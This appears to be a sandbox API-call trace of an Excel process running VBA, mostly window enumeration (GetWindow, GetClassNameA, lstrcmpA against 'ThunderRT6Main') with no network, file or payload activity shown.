	[0071.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0071.838] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0071.838] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0071.838] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0071.850] GetCurrentThreadId () returned 0x8e8
	[0071.850] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0071.850] GetDesktopWindow () returned 0x10010
	[0071.850] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0071.850] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0071.850] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0071.850] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0071.850] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.850] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0071.850] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0071.850] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0071.850] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0071.850] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0071.850] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.850] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.850] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0071.850] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.850] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.850] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0071.850] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.850] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.850] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0071.850] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.850] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.850] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0071.850] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.850] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.850] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.850] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0071.850] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0071.851] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0071.851] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0071.851] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0071.851] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0071.851] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0071.851] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0071.851] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.851] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0071.851] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0071.851] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0071.851] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0071.851] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.851] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0071.851] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.851] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.851] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.851] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0071.851] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0071.852] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.852] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0071.852] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0071.852] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.852] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0071.852] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0071.852] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0071.852] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0071.852] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0071.852] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.852] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0071.852] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0071.852] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0071.852] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0071.852] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.852] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.852] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0071.852] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0071.852] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0071.852] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0071.852] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0071.852] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.852] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0071.852] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0071.852] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0071.852] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0071.852] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.852] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.852] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0071.852] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0071.852] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0071.852] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0071.852] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.852] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.852] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.852] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0071.852] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0071.852] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0071.852] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0071.853] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.853] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.853] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0071.853] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0071.853] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0071.853] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0071.853] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.853] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.853] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0071.853] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0071.853] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0071.853] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0071.853] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0071.853] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.853] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0071.853] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0071.853] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0071.853] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0071.853] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0071.853] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0071.853] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0071.853] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0071.853] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0071.853] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x202b0
	[0071.853] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0071.853] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0071.853] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.853] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0071.853] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0071.853] IsWindowEnabled (hWnd=0x202b0) returned 1
	[0071.853] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0071.853] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0071.853] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0071.853] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0071.853] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0071.853] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0071.854] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.854] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0071.854] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0071.854] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0071.854] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0071.854] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.854] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0071.854] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0071.854] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0071.854] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0071.854] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0071.854] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0071.854] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.854] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0071.854] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0071.854] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0071.854] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0071.854] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.854] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.854] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.854] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0071.854] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0071.854] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0071.854] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0071.854] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.856] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0071.856] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0071.856] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0071.856] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0071.856] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.856] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0071.856] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0071.856] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0071.856] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0071.856] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.856] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0071.856] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0071.856] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0071.856] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0071.856] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0071.856] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0071.856] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0071.856] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0071.856] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0071.856] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0071.856] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0071.856] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0071.856] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.856] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0071.856] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0071.856] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0071.856] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0071.856] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.856] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.856] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.856] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0071.856] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0071.856] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0071.857] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0071.857] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.857] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.857] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0071.857] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0071.857] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0071.857] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0071.857] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0071.857] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.857] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0071.857] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0071.857] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0071.857] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0071.857] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0071.857] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0071.857] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0071.857] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0071.857] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0071.857] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0071.857] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0071.857] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0071.857] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0071.857] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0071.857] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0071.857] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
